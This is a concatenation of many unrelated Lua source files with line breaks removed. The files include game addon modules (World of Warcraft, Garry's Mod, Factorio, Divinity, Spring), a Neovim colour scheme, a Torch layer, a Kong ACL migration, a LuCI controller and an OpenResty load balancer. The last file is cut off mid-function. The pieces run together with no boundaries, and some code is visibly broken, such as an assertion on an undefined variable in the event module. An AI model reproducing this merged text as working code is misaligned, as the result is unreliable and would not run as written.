-------------------------------------------------------------------------------- -- Module declaration -- local mod, CL = BigWigs:NewBoss("Echo of Jaina", 938, 285) if not mod then return end mod:RegisterEnableMob(54445) mod.engageId = 1883 mod.respawnTime = 30 -------------------------------------------------------------------------------- -- Localization -- local L = mod:GetLocale() if L then end -------------------------------------------------------------------------------- -- Initialization -- -- XXX revise this module function mod:GetOptions() return { -3641, -- Blink } end function mod:OnBossEnable() end function mod:OnEngage() end -------------------------------------------------------------------------------- -- Event Handlers --
--[[ © 2013 GmodLive private project do not share without permission of its author (Andrew Mensky vk.com/men232). --]] local ATTRIBUTE = gc.attribute:New(); ATTRIBUTE.name = "Уровень"; ATTRIBUTE.maximum = 75; ATTRIBUTE.uniqueID = "lvl"; ATTRIBUTE.description = "Этот атрибут отображает твой навык игры. Чем лучше ты\nсправляешься с различными ситуациями и профессиональными\nобязанностями, тем выше уроень.\n\nВлияет на доступ к важным профессиям.."; ATTRIBUTE.isOnCharScreen = true; ATTRIBUTE.isShared = true; ATTRIBUTE.default = 1; ATB_LEVEL = gc.attribute:Register(ATTRIBUTE);
--==============================================================================-- --COLOR SCHEME-- --==============================================================================-- vim.cmd([[ "Credit joshdick "Use 24-bit (true-color) mode in Vim/Neovim when outside tmux. "If you're using tmux version 2.2 or later, you can remove the outermost $TMUX check and use tmux's 24-bit color support "(see < http://sunaku.github.io/tmux-24bit-color.html#usage > for more information.) if (empty($TMUX)) if (has("nvim")) "For Neovim 0.1.3 and 0.1.4 < https://github.com/neovim/neovim/pull/2198 > let $NVIM_TUI_ENABLE_TRUE_COLOR=1 endif "For Neovim > 0.1.5 and Vim > patch 7.4.1799 < https://github.com/vim/vim/commit/61be73bb0f965a895bfb064ea3e55476ac175162 > "Based on Vim patch 7.4.1770 (`guicolors` option) < https://github.com/vim/vim/commit/8a633e3427b47286869aa4b96f2bfc1fe65b25cd > " < https://github.com/neovim/neovim/wiki/Following-HEAD#20160511 > if (has("termguicolors")) set termguicolors endif endif set background=dark let g:one_allow_italics = 1 colorscheme one " Customize vim-one color scheme background color " one#highlight(group, fg, bg, attribute) call one#highlight('Normal', '', '22262E', 'none') call one#highlight('Conceal', '', '22262E', '') call one#highlight('ErrorMsg', '', '22262E', '') call one#highlight('Folded', '', '22262E', '') call one#highlight('PMenuSbar', '', '22262E', '') call one#highlight('Search', '22262E', '', '') call one#highlight('TabLineSel', '22262E', '', '') call one#highlight('SignColumn', '', '22262E', '') call one#highlight('Error', '', '22262E', '') call one#highlight('Todo', '', '22262E', '') call one#highlight('SpellBad', '', '22262E', '') call one#highlight('SpellLocal', '', '22262E', '') call one#highlight('SpellCap', '', '22262E', '') call one#highlight('SpellRare', '', '22262E', '') ]])
local Euclidean, parent = torch.class('nn.Euclidean', 'nn.Module') function Euclidean:__init(inputSize,outputSize) parent.__init(self) self.weight = torch.Tensor(inputSize,outputSize) self.gradWeight = torch.Tensor(inputSize,outputSize) -- state self.gradInput:resize(inputSize) self.output:resize(outputSize) self.temp = torch.Tensor(inputSize) self:reset() end function Euclidean:reset(stdv) if stdv then stdv = stdv * math.sqrt(3) else stdv = 1./math.sqrt(self.weight:size(1)) end if nn.oldSeed then for i=1,self.weight:size(2) do self.weight:select(2, i):apply(function() return torch.uniform(-stdv, stdv) end) end else self.weight:uniform(-stdv, stdv) end end function Euclidean:updateOutput(input) self.output:zero() for o = 1,self.weight:size(2) do self.output[o] = input:dist(self.weight:select(2,o)) end return self.output end function Euclidean:updateGradInput(input, gradOutput) self:updateOutput(input) if self.gradInput then self.gradInput:zero() for o = 1,self.weight:size(2) do if self.output[o] ~= 0 then self.temp:copy(input):add(-1,self.weight:select(2,o)) self.temp:mul(gradOutput[o]/self.output[o]) self.gradInput:add(self.temp) end end return self.gradInput end end function Euclidean:accGradParameters(input, gradOutput, scale) self:updateOutput(input) scale = scale or 1 for o = 1,self.weight:size(2) do if self.output[o] ~= 0 then self.temp:copy(self.weight:select(2,o)):add(-1,input) self.temp:mul(gradOutput[o]/self.output[o]) self.gradWeight:select(2,o):add(self.temp) end end end
require "defines" require "util" script.on_configuration_changed(function(data) if data.mod_changes ~= nil and data.mod_changes["KS_Power"] ~= nil and data.mod_changes["KS_Power"].old_version == nil then local s = game.surfaces["nauvis"] find_generators(s) for k, f in pairs (game.forces) do f.reset_recipes() end end end) script.on_event(defines.events.on_tick, function(event) check_generators() end) function check_generators() if global.petroleum_generator ~= nil then for k,gen in pairs(global.petroleum_generator) do --if k % 10 == game.tick % 10 then if gen.valid then if gen.fluidbox[1] ~= nil then local pot = gen.fluidbox[1] local p = gen.position if pot.type == "petroleum-gas" then pot["temperature"] = 80 gen.surface.pollute({p.x, p.y}, 0.8/60) elseif pot.type == "light-oil" then pot["temperature"] = 100 gen.surface.pollute({p.x, p.y}, 1/60) elseif pot.type == "diesel-fuel" then pot["temperature"] = 100 gen.surface.pollute({p.x, p.y}, 1.2/60) elseif pot.type == "heavy-oil" then pot["temperature"] = 60 gen.surface.pollute({p.x, p.y}, 0.6/60) else pot["temperature"] = 15 end gen.fluidbox[1] = pot end else table.remove(global.petroleum_generator, k) --end end end end end function BuiltEntity(event) if event.created_entity.name == "petroleum-generator-2" then if global.petroleum_generator == nil then global.petroleum_generator = {} end local petroleum_generator = event.created_entity if global.petroleum_generator == nil then global.petroleum_generator = {} end table.insert(global.petroleum_generator, petroleum_generator) end end script.on_event(defines.events.on_built_entity, BuiltEntity) script.on_event(defines.events.on_robot_built_entity, BuiltEntity)
Ext.Require("lx_exim_char_97b7c2b5-9f87-4470-936d-9a09c55665e5", "EXIM_Save_Character.lua") Ext.Require("lx_exim_char_97b7c2b5-9f87-4470-936d-9a09c55665e5", "EXIM_Load_Character.lua") Ext.Require("lx_exim_char_97b7c2b5-9f87-4470-936d-9a09c55665e5", "EXIM_Save_Items.lua") Ext.Require("lx_exim_char_97b7c2b5-9f87-4470-936d-9a09c55665e5", "EXIM_Load_Items.lua") ---- Helper functions --- function Civil() local civil = { "Telekinesis", "Thievery", "Sneaking", "Persuasion", "Luck", "Barter", "Loremaster"} return civil end function Abilities() local abilities = { "AirSpecialist", "Brewmaster", "Charm", "Crafting", "DualWielding", "EarthSpecialist", "FireSpecialist", "Intimidate", "Leadership", "MagicArmorMastery", "Necromancy", "Perseverance", "PhysicalArmorMastery", "Pickpocket", "Polymorph", "Ranged", "RangerLore", "Reason", "Reflexes", "Repair", "RogueLore", "Runecrafting", "Shield", "SingleHanded", "Sourcery", "Summoning", "TwoHanded", "VitalityMastery", "Wand", "WarriorLore", "WaterSpecialist" } return abilities end function Talents() local talents = { "Throwing", "WandCharge", "Vitality", "FolkDancer", "Criticals", "IncreasedArmor", "Politician", "Lockpick", "Trade", "Damage", "MrKnowItAll", "AvoidDetection", "EarthSpells", "AirSpells", "WaterSpells", "FireSpells", "Luck", "Charm", "ExpGain", "ItemCreation", "ItemMovement", "ResistSilence", "ResistStun", "ResistKnockdown", "ResistFear", "ActionPoints2", "ActionPoints", "ChanceToHitMelee", "Repair", "ChanceToHitRanged", "Backstab", "RogueLoreGrenadePrecision", "RogueLoreHoldResistance", "RogueLoreMovementBonus", "RogueLoreDaggerBackStab", "RogueLoreDaggerAPBonus", "Kickstarter", "InventoryAccess", "Initiative", "Awareness", "Reason", "Intimidate", "ResistPoison", "Sight", "RangerLoreRangedAPBonus", "RangerLoreEvasionBonus", "WarriorLoreNaturalResistance", "WarriorLoreNaturalArmor", "SpillNoBlood", "GoldenMage", "Courageous", "WeatherProof", "LightningRod", "Bully", "Scientist", "LightStep", "StandYourGround", "Durability", "Carry", "ResurrectExtraHealth", "AnimalEmpathy", "ExtraSkillPoints", "ExtraStatPoints", "Escapist", "ElementalAffinity", "ResurrectToFullHealth", "LoneWolf", "Raistlin", "WhatARush", "FaroutDude", "Leech", "FiveStarRestaurant", "SurpriseAttack", "Demon", "IceKing", "WalkItOff", "Stench", "QuickStep", "ElementalRanger", "RangerLoreArrowRecover", "NoAttackOfOpportunity", "WarriorLoreGrenadeRange", "WarriorLoreNaturalHealth", "AttackOfOpportunity", "Zombie", "Unstable", "Ambidextrous", "Torturer", "LivingArmor", "Executioner", "DualWieldingDodging", "ResistDead", "Memory", "NaturalConductor", "Flanking", "Perfectionist", "ViolentMagic", "Human_Inventive", "Human_Civil", "Dwarf_Sneaking", "Dwarf_Sturdy", "Elf_CorpseEating", "Elf_Lore", "Lizard_Persuasion", "Lizard_Resistance", "Quest_SpidersKiss_Str", "Quest_SpidersKiss_Int", "Quest_SpidersKiss_Per", "Quest_SpidersKiss_Null", "Quest_TradeSecrets", "Quest_GhostTree", "Quest_Rooted", "PainDrinker", "DeathfogResistant", "Sourcerer", "Rager", "Elementalist", "Sadist", "Haymaker", "Gladiator", "Indomitable", "WildMag", "Jitterbug", "Soulcatcher", "MasterThief", "GreedyVessel", "MagicCycles" } return talents end function ItemBoosts() local boosts = { "Durability", "DurabilityDegradeSpeed", "StrengthBoost", "FinesseBoost", "IntelligenceBoost", "ConstitutionBoost", "Memory", "WitsBoost", "SightBoost", "HearingBoost", "VitalityBoost", "SourcePointsBoost", "MaxAP", "StartAP", "APRecovery", "AccuracyBoost", "LifeSteal", "CriticalChance", "ChanceToHitBoost", "MovementSpeedBoost", "RuneSlots", "RuneSlots_V1", "FireResistance", "AirResistance", "WaterResistance", "EarthResistance", "PoisonResistance", "TenebriumResistance", "PiercingResistance", "CorrosiveResistance", "PhysicalResistance", "MagicResistance", "CustomResistance", "Movement", "Initiative", "Willpower", "Bodybuilding", "MaxSummons", "Value", "Weight", "DamageType", "MinDamage", "MaxDamage", "DamageBoost", "DamageFromBase", "CriticalDamage", "WeaponRange", "CleaveAngle", "CleavePercentage", "AttackAPCost", "ArmorValue", "ArmorBoost", "MagicArmorValue", "MagicArmorBoost", "Blocking" } return boosts end function SplitString(str, sep) local t={} if str ~= nil then for s in string.gmatch(str, "([^"..sep.."]+)") do table.insert(t, s) end end return t end Ext.NewQuery(InitSavingInventory, "LX_EXT_InitSavingInventory", "(CHARACTERGUID)_Character"); Ext.NewCall(ParseInventoryForContainers, "LX_EXT_CheckInventory", "(GUIDSTRING)_Holder"); --Ext.NewQuery(UnequipCharacter, "LX_EXT_UnequipCharacter", "(CHARACTERGUID)_Character"); Ext.NewCall(StoreHolderItem, "LX_EXT_StoreHolderItem", "(GUIDSTRING)_Holder, (ITEMGUID)_Item"); Ext.NewCall(SavingInventoryStringManagement, "LX_EXT_SaveInventory", "(CHARACTERGUID)_Character"); Ext.NewCall(SaveCharacterData, "LX_EXT_SaveCharacterData", "(CHARACTERGUID)_Character, (STRING)_Name, (CHARACTERGUID)_TempChar"); Ext.NewCall(ParsePieceEquipment, "LX_EXT_ParsePieceEquipment", "(CHARACTERGUID)_Character, (ITEMGUID)_Item"); Ext.NewCall(LoadHotbar, "LX_EXT_LoadHotbar", "(CHARACTERGUID)_Character"); Ext.NewQuery(GetHotbar, "LX_EXT_SaveHotbar", "(CHARACTERGUID)_Character"); Ext.NewCall(LoadCharacter, "LX_EXT_LoadCharacter", "(CHARACTERGUID)_Character"); Ext.NewCall(LoadInventory, "LX_EXT_LoadInventory", "(CHARACTERGUID)_Character, (STRING)_Data1, (STRING)_Data2"); Ext.NewCall(LoadSkills, "LX_EXT_LoadSkills", "(CHARACTERGUID)_Character"); Ext.NewCall(CleanCharacterPoints, "LX_EXT_CleanCharacterPoints", "(CHARACTERGUID)_Character");
local Color = { start = '\27', --Styles sty = { reset = '[0m', bold = '[1m', underline = '[4m', inverse = '[7m', }, --Foreground colors frg = { black = '[30m', red = '[31m', green = '[32m', yellow = '[33m', blue = '[34m', magenta = '[35m', cyan = '[36m', white = '[37m', }, --Bright foreground colors brg = { black = '[90m', red = '[91m', green = '[92m', yellow = '[93m', blue = '[94m', magenta = '[95m', cyan = '[96m', white = '[97m', }, --Background colors bkg = { black = '[100m', red = '[101m', green = '[102m', yellow = '[103m', blue = '[104m', magenta = '[105m', cyan = '[106m', white = '[107m', } } function Color.print(a) print(Color.start.."n"..a..Color.sty.reset..Color.start) end return Color
local event = {} event.handler = {} --- Clear the list of subscriber for an event. -- @param event_name string, name of the event, or how you want to call it -- @return false if the handler for the event doesn't exist -- @return true sucess -- TODO : What I should do with the listener? Should they know? function event:clear(event_name) assert(type(type_event) == "string","The event name must be a string "..type(event_name)) if self.handler[event_name] == nil then print("WARNING, there is not handler of the event",event_name,"to clear") return false end self.handler[event_name] = nil return true end --- Create the new, event. Init the table for the correct handler -- @param event_name string, name of the event, or how you want to call it -- @return true function event:new_event(event_name) assert(type(event_name) == "string","The event name must be a string "..type(event_name)) if self.handler[event_name] == nil then self.handler[event_name] = {} return true end print("You're are creating the event", event_name) return true end --- Publish an event, and call all the object subcribed to it --- To be more simple, the function call by the event, must have the same name -- @param event_name string, name of the event -- @return true function event:publish(event_name, ...) -- If the event list doesn't exists if self.handler[event_name] == nil then self:new_event(event_name) return true end for i=1, #self.handler[event_name] do -- I don't know if it's good idea. In this format your functions must be call with "self:" self.handler[event_name][i][event_name](self,...) end return true end --- Remove an event -- @param event_name string, name of the event, or how you want to call it -- @return true function event:remove_event(event_name) self.handler[event_name] = nil return true end --- Subscribe to the channel nammed by the event. If the channel doesn't exist yet, it's created. -- @param event_name string, name of the event -- @param object table, the object to be called, it must posses a function with the same name of the event -- @return true function event:subscribe(event_name, object ) assert(type(object) == "table") assert(object[event_name]," Your object must have a function called "..event_name) if self.handler[event_name] == nil then self:new_event(event_name) end table.insert(self.handler[event_name], object) return true end --- Unsubscribe to the channel nammed by the event. If the channel doesn't exist, raise a log. -- @param event_name string, name of the event -- @param object table, the object to be called, it must posses a function with the same name of the event -- @return false if the handler of the event doesn't exists, or if you are already not subscribe -- @return true function event:unsubscribe(event_name, object) if self.handler[event_name] == nil then print("WARNING, unsubscribe an event, that doesn't exist") return false end for i=1, #self.handler[event_name] do if self.handler[event_name][i] == object then print("OBJECT REMOVED") table.remove(self.handler[event_name], i) return true end end print ("WARNING, you are trying to unsubscribe to a list, to which you'are not subcribed") return false end return event
local operations = require "kong.db.migrations.operations.200_to_210" local plugin_entities = { { name = "acls", primary_key = "id", uniques = {}, fks = {{name = "consumer", reference = "consumers", on_delete = "cascade"}}, } } local function ws_migration_up(ops) return ops:ws_adjust_fields(plugin_entities) end local function ws_migration_teardown(ops) return function(connector) ops:ws_adjust_data(connector, plugin_entities) ops:fixup_plugin_config(connector, "acl", function(config) config.allow = config.whitelist config.whitelist = nil config.deny = config.blacklist config.blacklist = nil return true end) end end return { postgres = { up = ws_migration_up(operations.postgres.up), teardown = ws_migration_teardown(operations.postgres.teardown), }, cassandra = { up = ws_migration_up(operations.cassandra.up), teardown = ws_migration_teardown(operations.cassandra.teardown), }, }
local kb = libs.keyboard; -- Documentation -- http://www.unifiedremote.com/api -- Keyboard Library -- http://www.unifiedremote.com/api/libs/keyboard actions.PrevDesk = function () kb.stroke("ctrl", "win", "left"); end actions.NextDesk = function () kb.stroke("ctrl", "win", "right"); end actions.ZoomShare = function () kb.stroke("alt", "s"); end actions.ZoomEnd = function () kb.stroke("alt", "q"); end actions.ZoomControls = function () kb.stroke("ctrl", "alt", "shift"); end
return {"Text.lua"}
function widget:GetInfo() return { name = "UnitBar", desc = "Shows currently owned units", author = "PetTurtle", date = "2020", layer = 0, enabled = true, } end VFS.Include("LuaRules/Configs/customcmds.h.lua") local TIER_COLORS = { {0.1, 0.1, 0.1, 0.9}, {0.1, 0.9, 0.1, 0.9}, {0.1, 0.1, 0.9, 0.9}, {0.9, 0.1, 0.9, 0.9}, {1, 0.8, 0.1, 1} } local CMD_INSERT = CMD.INSERT local CMD_OPT_SHIFT = CMD.OPT_SHIFT local CMD_HQ_SELL = 49737 local CMD_HQ_SPAWN = 49738 local isVisible = true local selectedHQID = nil local Chili = nil local window = nil local mainPanel = nil local buttons = {} local buttonImages = {} local buttonSell = {} local buttonCostLabels = {} local buttonCountLabels = {} local function giveSellCommand(self, sellID) Spring.GiveOrderToUnit(selectedHQID, CMD_INSERT, {0, CMD_HQ_SELL, CMD_OPT_SHIFT, sellID}, {"alt"}) end local function giveSpawnCommand(self, spawnID) Spring.GiveOrderToUnit(selectedHQID, CMD_INSERT, {0, CMD_HQ_SPAWN, CMD_OPT_SHIFT, spawnID}, {"alt"}) end local function updateUI() for i = 1, 8 do local ud = Spring.GetUnitRulesParam(selectedHQID, "HQSpawnUnit" .. i) if ud == -1 then buttonImages[i].file = "LuaUI/Images/Neon/glass.png" buttonImages[i]:Invalidate() buttons[i].backgroundColor = TIER_COLORS[1] buttons[i]:Invalidate() buttonCostLabels[i]:SetCaption("----") buttonCountLabels[i]:SetCaption("") else local spawnUnitCost = Spring.GetUnitRulesParam(selectedHQID, "HQSpawnUnitCost" .. i) local spawnUnitCount = Spring.GetUnitRulesParam(selectedHQID, "HQSpawnUnitCount" .. i) local spawnUnitTier = Spring.GetUnitRulesParam(selectedHQID, "HQSpawnUnitTier" .. i) buttonImages[i].file = "unitpics/" .. UnitDefs[ud].buildpicname buttonImages[i]:Invalidate() buttons[i].backgroundColor = TIER_COLORS[spawnUnitTier] buttons[i]:Invalidate() buttonCostLabels[i]:SetCaption(spawnUnitCost) buttonCountLabels[i]:SetCaption(spawnUnitCount) end end end local function setVisible(value) if value and not isVisible then Chili.Screen0:AddChild(window) isVisible = true elseif not value and isVisible then Chili.Screen0:RemoveChild(window) isVisible = false end end function widget:CommandsChanged() local units = Spring.GetSelectedUnits() if units then for i = 1, #units do if Spring.GetUnitRulesParam(units[i], "isHQ") then selectedHQID = units[i] updateUI() setVisible(true) return end end end setVisible(false) selectedHQID = nil end local function CreateUnitButton(buttonID) local buttonPanel = Chili.StackPanel:New{ width = 64, height = 110, itemPadding = {0,0,0,0}, itemMargin = {0,0,0,0}, padding = {0,0,0,0}, margin = {0,0,0,0}, orientation = "vertical", resizeItems = false, centerItems = false, parent = mainPanel, } buttonSell[#buttonSell+1] = Chili.Button:New { width= 60; height= 16; caption = "X", textColor = {0.9,0.1,0.1,1.0}, OnClick = { function (self) giveSellCommand(self, buttonID) end }, parent = buttonPanel } buttons[#buttons + 1] = Chili.Button:New { parent = buttonPanel, width = 60, height = 75, padding = {5,5,5,5}, caption = "", OnClick = { function (self) giveSpawnCommand(self, buttonID) end }, } buttonImages[#buttonImages + 1] = Chili.Image:New { width = 50, height = 50, file = "LuaUI/Images/Neon/glass.png", keepAspect = true, parent = buttons[#buttons], } buttonCostLabels[#buttonCostLabels+1] = Chili.Label:New { width = 50, height = 115, valign ="center", align = "center", caption = "----", textColor = {0.9,0.9,0.9,1.0}, parent = buttons[#buttons] } buttonCountLabels[#buttonCountLabels+1] = Chili.Label:New { width= 45; height= 45; valign ="top", align = "left", caption = "", fontSize = 16; fontShadow = true; textColor = {0.2,0.8,0.2,0.9}, parent = buttonImages[#buttonImages] } return buttons[#buttons] end function widget:UnitCmdDone(unitID) if isVisible and selectedHQID == unitID then updateUI() end end function widget:Initialize() Chili = WG.Chili if not Chili then widgetHandler:RemoveWidget() return end window = Chili.Window:New { dockable = true, name = "Units Spawn Bar", x = 0, y = Chili.Screen0.height - 325, width = (70 * 8), height = 105, padding = {2,2,2,2}, classname = "main_window", draggable = true, resizable = false, tweakDraggable = true, tweakResizable = false, minimizanle = false, parent = Chili.Screen0, } mainPanel = Chili.StackPanel:New{ x=10, y=0, right = 0, bottom = 0, itemPadding = {0,0,0,0}, itemMargin = {0,0,0,0}, margin = {0,0,0,0}, orientation = "horizontal", parent = window, } for i = 1, 8 do CreateUnitButton(i) end end
--[[ LuCI - Lua Configuration Interface - Internet access control Copyright 2015 Krzysztof Szuster. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 $Id$ ]]-- module("luci.controller.access_control", package.seeall) function index() if not nixio.fs.access("/etc/config/firewall") then return end -- if not nixio.fs.access("/etc/config/access_control") then -- return -- end local page page = entry({"admin", "network", "access_control"}, cbi("access_control"), _("Access Control")) page.dependent = true end
-- Copyright (C) by Jianhao Dai (Toruneko) -- see https://github.com/hamishforbes/lua-resty-iputils.git local iputils = require "resty.iputils" iputils.enable_lrucache() local balancer = require "ngx.balancer" local upstream = require "resty.upstream" local LOGGER = ngx.log local WARN = ngx.WARN local setmetatable = setmetatable local tostring = tostring local tonumber = tonumber local math_abs = math.abs local error = error local type = type local getups = upstream.get_upstream local check_peer_down = upstream.check_peer_down local incr_peer_fails = upstream.incr_peer_fails local set_peer_temporarily_down = upstream.set_peer_temporarily_down local function get_single_peer(ups, u) local peer = ups.peers[1] if not check_peer_down(u, false, peer.name) then return peer end return nil, "no available peer: " .. tostring(u) end local function get_round_robin_peer(u) local ups, err = getups(u) if not ups then return nil, err end if ups.size == 1 then return get_single_peer(ups, u) end local cp = ups.cp local peer repeat ups.cp = (ups.cp % ups.size) + 1 peer = ups.peers[ups.cp] if not peer then return nil, "no peer found: " .. tostring(u) end -- visit all peers, but no one avaliable, exit. if cp == ups.cp and check_peer_down(u, false, peer.name) then return nil, "no available peer: " .. tostring(u) end until not check_peer_down(u, false, peer.name) return peer end local function get_source_ip_hash_peer(u) local ups, err = getups(u) if not ups then return nil, err end if ups.size == 1 then return get_single_peer(ups, u) end local src, err = math_abs(iputils.ip2bin(ngx.var.remote_addr)) if not src then return nil, err end local current = (src % ups.size) + 1 local peer = ups.peers[current] if not peer then return nil, "no peer found: " .. tostring(u) end if check_peer_down(u, false, peer.name) then return get_round_robin_peer(u) end return peer end local function get_weighted_round_robin_peer(u) local ups, err = getups(u) if not ups then return nil, err end if ups.size == 1 then return get_single_peer(ups, u) end local cp = ups.cp local cw = ups.cw while true do ups.cp = (ups.cp % ups.size) + 1 if ups.cp == 1 then ups.cw = ups.cw - ups.gcd if ups.cw <= 0 then ups.cw = ups.max end end local peer = ups.peers[ups.cp] if not peer then return nil, "no peer found: " .. tostring(u) end if peer.weight >= ups.cw and not check_peer_down(u, false, peer.name) then return peer end -- visit all peers, but no one avaliable, exit. if ups.cw == cw and ups.cp == cp then return nil, "no available peer: " .. tostring(u) end end end local function proxy_pass(peer_factory, u, tries, include) if not type(peer_factory) == "function" then error("peer_factory must be a function") end tries = tonumber(tries) or 0 if not include then tries = tries - 1 end if tries <= 0 then local peer, err = peer_factory(u) if not peer then return nil, err end return balancer.set_current_peer(peer.host, peer.port) end local ctx = ngx.ctx -- check fails local state, status = balancer.get_last_failure() if state then local last_peer = ctx.balancer_last_peer if last_peer and last_peer.max_fails > 0 then local fails = incr_peer_fails(u, false, last_peer.name, last_peer.fail_timeout) if fails >= last_peer.max_fails then set_peer_temporarily_down(u, false, last_peer.name, last_peer.fail_timeout) LOGGER(WARN, last_peer.name, " temporarily unavailable.") end end end -- check tries if not ctx.balancer_proxy_times then ctx.balancer_proxy_times = 0 end if include and ctx.balancer_proxy_times >= tries then return nil, "max tries" end local peer, err = peer_factory(u) if not peer then return nil, err end -- check and set more tries if ctx.balancer_proxy_times < tries then local ok, err = balancer.set_more_tries(1) if not ok then return nil, err end end ctx.balancer_last_peer = peer ctx.balancer_proxy_times = ctx.balancer_proxy_times + 1 return balancer.set_current_peer(peer.host, peer.port) end local mt = { __index = balancer } local _M = setmetatable({ _VERSION = upstream._VERSION, get_round_robin_peer = get_round_robin_peer, get_source_ip_hash_peer = get_source_ip_hash_peer, get_weighted_round_robin_peer = get_weighted_round_robin_peer, proxy_pass = proxy_pass }, mt) return _M
local Prop = {} Prop.Name = "Depósito Rua do Vazio" Prop.Cat = "House" Prop.Price = 340 Prop.Doors = { Vector(4954.91015625, 3300.7199707031, -141.71899414063), Vector(4954.91015625, 3206.7199707031, -141.71899414063), Vector(5112, 3161.9099121094, -142), } GM.Property:Register( Prop )
-------------------------------------------------------- -- e2function Helper functions -------------------------------------------------------- local EGP = EGP ---------------------------- -- Table IsEmpty ---------------------------- function EGP:Table_IsEmpty( tbl ) return next(tbl) == nil end ---------------------------- -- SetScale ---------------------------- function EGP:SetScale( ent, x, y ) if not self:ValidEGP(ent) or not x or not y then return end ent.xScale = { x[1], x[2] } ent.yScale = { y[1], y[2] } if x[1] ~= 0 or x[2] ~= 512 or y[1] ~= 0 or y[2] ~= 512 then ent.Scaling = true else ent.Scaling = false end end -------------------------------------------------------- -- Scaling functions -------------------------------------------------------- local makeArray local makeTable local addUV hook.Add("Initialize","EGP_WaitForParentingFile",function() makeArray = EGP.ParentingFuncs.makeArray makeTable = EGP.ParentingFuncs.makeTable addUV = EGP.ParentingFuncs.addUV end) function EGP:ScaleObject( ent, v ) if not self:ValidEGP(ent) then return end local xScale = ent.xScale local yScale = ent.yScale if not xScale or not yScale then return end local xMin = xScale[1] local xMax = xScale[2] local yMin = yScale[1] local yMax = yScale[2] local xMul = 512/(xMax-xMin) local yMul = 512/(yMax-yMin) if (v.verticesindex) then -- Object has vertices local r = makeArray( v, true ) for i=1,#r,2 do r[i] = (r[i] - xMin) * xMul r[i+1] = (r[i+1]- yMin) * yMul end local settings = makeTable(v, r) addUV(v, settings) if isstring(v.verticesindex) then settings = { [v.verticesindex] = settings } end self:EditObject( v, settings ) else if (v.x) then v.x = (v.x - xMin) * xMul end if (v.y) then v.y = (v.y - yMin) * yMul end if (v.w) then v.w = math.abs(v.w * xMul) end if (v.h) then v.h = math.abs(v.h * yMul) end end end -------------------------------------------------------- -- Draw from top left -------------------------------------------------------- function EGP:MoveTopLeft( ent, v ) if not self:ValidEGP(ent) then return end if (v.CanTopLeft and v.x and v.y and v.w and v.h) then local vec, ang = LocalToWorld( Vector( v.w/2, v.h/2, 0 ), Angle(0,0,0), Vector( v.x, v.y, 0 ), Angle( 0, -v.angle or 0, 0 ) ) local t = { x = vec.x, y = vec.y } if (v.angle) then t.angle = -ang.yaw end self:EditObject( v, t ) end end ---------------------------- -- IsDifferent check ---------------------------- function EGP:IsDifferent( tbl1, tbl2 ) if self:Table_IsEmpty(tbl1) ~= self:Table_IsEmpty(tbl2) then return true end -- One is empty, the other is not for k,v in ipairs( tbl1 ) do if not tbl2[k] or tbl2[k].ID ~= v.ID then -- Different ID? return true else for k2,v2 in pairs( v ) do if k2 ~= "BaseClass" then if tbl2[k][k2] or tbl2[k][k2] ~= v2 then -- Is any setting different? return true end end end end end for k, _ in ipairs( tbl2 ) do -- Were any objects removed? if not tbl1[k] then return true end end return false end ---------------------------- -- IsAllowed check ---------------------------- function EGP:IsAllowed( E2, Ent ) if not EGP:ValidEGP(Ent) then return false end if (E2 and E2.entity and E2.entity:IsValid()) then local owner = Ent:GetEGPOwner() if E2.player ~= owner then return E2Lib.isFriend(E2.player,Ent:GetEGPOwner()) else return true end end return false end -------------------------------------------------------- -- Transmitting / Receiving helper functions -------------------------------------------------------- ----------------------- -- Material ----------------------- function EGP:SendMaterial( obj ) -- ALWAYS use this when sending material local mat = obj.material if isstring(mat) then net.WriteString( "0" .. mat ) -- 0 for string elseif isentity(mat) then net.WriteString( "1" .. mat:EntIndex() ) -- 1 for entity end end function EGP:ReceiveMaterial( tbl ) -- ALWAYS use this when receiving material local temp = net.ReadString() local what, mat = temp:sub(1,1), temp:sub(2) if what == "0" then if mat == "" then tbl.material = false else tbl.material = Material(mat) end elseif what == "1" then local num = tonumber(mat) if not num or not IsValid(Entity(num)) then tbl.material = false else tbl.material = Entity(num) end end end ----------------------- -- Other ----------------------- function EGP:SendPosSize( obj ) net.WriteInt( obj.w, 16 ) net.WriteInt( obj.h, 16 ) net.WriteInt( obj.x, 16 ) net.WriteInt( obj.y, 16 ) end function EGP:SendColor( obj ) net.WriteUInt(obj.r, 8) net.WriteUInt(obj.g, 8) net.WriteUInt(obj.b, 8) if (obj.a) then net.WriteUInt( math.Clamp( obj.a, 0, 255 ) , 8) end end function EGP:ReceivePosSize( tbl ) -- Used with SendPosSize tbl.w = net.ReadInt(16) tbl.h = net.ReadInt(16) tbl.x = net.ReadInt(16) tbl.y = net.ReadInt(16) end function EGP:ReceiveColor( tbl, obj ) -- Used with SendColor tbl.r = net.ReadUInt(8) tbl.g = net.ReadUInt(8) tbl.b = net.ReadUInt(8) if (obj.a) then tbl.a = net.ReadUInt(8) end end -------------------------------------------------------- -- Other -------------------------------------------------------- function EGP:ValidEGP( Ent ) return (IsValid( Ent ) and (Ent:GetClass() == "gmod_wire_egp" or Ent:GetClass() == "gmod_wire_egp_hud" or Ent:GetClass() == "gmod_wire_egp_emitter")) end -- Saving Screen width and height if (CLIENT) then usermessage.Hook("EGP_ScrWH_Request",function(um) RunConsoleCommand("EGP_ScrWH",ScrW(),ScrH()) end) else hook.Add("PlayerInitialSpawn","EGP_ScrHW_Request",function(ply) timer.Simple(1,function() if (ply and ply:IsValid() and ply:IsPlayer()) then umsg.Start("EGP_ScrWH_Request",ply) umsg.End() end end) end) EGP.ScrHW = {} concommand.Add("EGP_ScrWH",function(ply,cmd,args) if (args and tonumber(args[1]) and tonumber(args[2])) then EGP.ScrHW[ply] = { tonumber(args[1]), tonumber(args[2]) } end end) end -- Used to check if the cached vertices of egpCircle etc are still valid, and if not update to the current values function EGP:CacheNeedsUpdate(obj, keys) if not obj.vert_cache then obj.vert_cache = {} end local cache = obj.vert_cache local update = false for _,k in pairs(keys) do if cache[k] ~= obj[k] then update = true cache[k] = obj[k] end end return update end -- Line drawing helper function function EGP:DrawLine( x, y, x2, y2, size ) if (size < 1) then size = 1 end if (size == 1) then surface.DrawLine( x, y, x2, y2 ) else -- Calculate position local x3 = (x + x2) / 2 local y3 = (y + y2) / 2 -- calculate height local w = math.sqrt( (x2-x) ^ 2 + (y2-y) ^ 2 ) -- Calculate angle (Thanks to Fizyk) local angle = math.deg(math.atan2(y-y2,x2-x)) -- if the rectangle's less than a pixel wide, nothing will get drawn. if w < 1 then 